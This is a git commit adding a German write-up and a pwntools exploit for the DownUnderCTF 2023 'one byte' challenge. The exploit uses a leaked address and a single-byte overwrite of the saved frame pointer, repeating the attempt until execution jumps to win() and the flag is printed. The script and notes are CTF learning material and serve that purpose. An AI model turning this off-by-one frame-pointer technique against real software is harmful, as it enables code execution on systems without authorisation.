one byte done

This commit is contained in:
2023-09-02 15:57:10 +02:00
parent 365a15986b
commit 8027861bcb
4 changed files with 69 additions and 8 deletions

1
.gitignore vendored
View File

@@ -1,3 +1,4 @@
ghidra* ghidra*
hydra.restore hydra.restore
.idea .idea
core

View File

@@ -40,6 +40,49 @@ int main() {
Das Ziel ist recht eindeutig. Wir kontrollieren 1 Byte und sollen einen Sprung nach win() bewirken. Das Ziel ist recht eindeutig. Wir kontrollieren 1 Byte und sollen einen Sprung nach win() bewirken.
Das Byte, welches wir overflown können überschreibt einen teil des safe frame pointers.
# Lösung # Lösung
#TODO Wir füllen unseren Buffer der Größe 0x10 also 4x mit der Adresse von win, die wir aus dem leek berechnen.
danach überschreiben wir das letzte Byte vom sfp mit 0x80 (zufall). Da es nicht sicher ist, dass einer unserer pointer an einer Adresse mit 0x80 am ende liegt, daher führen wir das so oft aus, bis wir die flagge bekommen:
```python
from pwn import *
import os
os.environ["PWNLIB_DEBUG"] = "1"
gs = '''
unset env LINES
unset env COLUMNS
set follow-fork-mode child
br *main+93
c
'''
elf = ELF(os.getcwd()+"/onebyte")
def start():
if args.GDB:
return gdb.debug(elf.path, gs)
if args.REMOTE:
return remote("2023.ductf.dev", 30018)
else:
return process(elf.path)
while True:
io = start()
io.recvuntil("Free junk: ")
x = io.recvline()
x = int(x[2:-1],16)
print(hex(x))
print(io.recvuntil("Your turn: "))
# io.send(p32(x+70)+ cyclic(8) + p32(x+70))
io.send(p32(x+70) +p32(x+70) +p32(x+70) + p32(x+70) + b"\x80")
io.sendline(b"cat flag.txt")
print(io.recvall(timeout=2)) # if timeout triggers, we got the flag
```

0
DownUnderCTF 2023/beginner/one byte/onebyte Normal file → Executable file
View File

View File

@@ -1,15 +1,17 @@
from pwn import * from pwn import *
import os import os
os.environ["PWNLIB_DEBUG"] = "1"
gs = ''' gs = '''
unset env LINES unset env LINES
unset env COLUMNS unset env COLUMNS
set follow-fork-mode child set follow-fork-mode child
br *main br *main+93
c c
''' '''
elf = ELF(os.getcwd()+"/downunderflow") elf = ELF(os.getcwd()+"/onebyte")
def start(): def start():
if args.GDB: if args.GDB:
@@ -17,12 +19,27 @@ def start():
if args.REMOTE: if args.REMOTE:
return remote("2023.ductf.dev", 30018) return remote("2023.ductf.dev", 30018)
else: else:
return process(os.getcwd()+"/downunderflow") return process(elf.path)
io = start() while True:
io = start()
print(io.recvuntil("Your turn: ")) io.recvuntil("Free junk: ")
io.send(cyclic(11)) x = io.recvline()
x = int(x[2:-1],16)
print(hex(x))
io.interactive() print(io.recvuntil("Your turn: "))
# io.send(p32(x+70)+ cyclic(8) + p32(x+70))
io.send(p32(x+70) +p32(x+70) +p32(x+70) + p32(x+70) + b"\x80")
io.sendline(b"cat flag.txt")
print(io.recvall(timeout=2))
# break
# try:
# io.send(b"id")
# print(io.recvline())
# io.interactive()
# except:
# io.close()
# continue